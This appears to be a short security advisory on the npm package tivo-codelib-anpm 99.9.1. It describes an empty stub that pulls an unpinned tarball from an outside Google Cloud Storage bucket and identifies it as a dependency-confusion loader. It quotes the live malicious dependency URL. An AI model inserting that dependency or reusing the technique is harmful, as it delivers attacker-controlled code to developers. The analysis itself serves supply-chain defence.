tivo-codelib-anpm

[email protected] is an empty-stub npm package whose index.js exports module.exports = {} and whose package metadata (description, author) is blank. Its only effect on installers is its sole runtime dependency, which is declared in package.json as a direct HTTPS URL rather than a registry version: "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.1.tgz". On npm install, npm fetches that tarball from a Google Cloud Storage bucket (ltidi.storage.googleapis.com/depenconf/) that does not correspond to any reputable publisher, installs it into the consumer's node_modules, and runs any lifecycle scripts it contains. The URL is not hash-pinned, so the bucket owner can swap the tarball contents at any time and ship arbitrary code to every installer. The package name pattern (-codelib-a), the unusually high version (99.9.1), the empty metadata, and the off-registry GCS dependency together match the dependency-confusion smuggler/loader shape: a hollow lure whose install resolves to attacker-controlled code hosted outside the registry.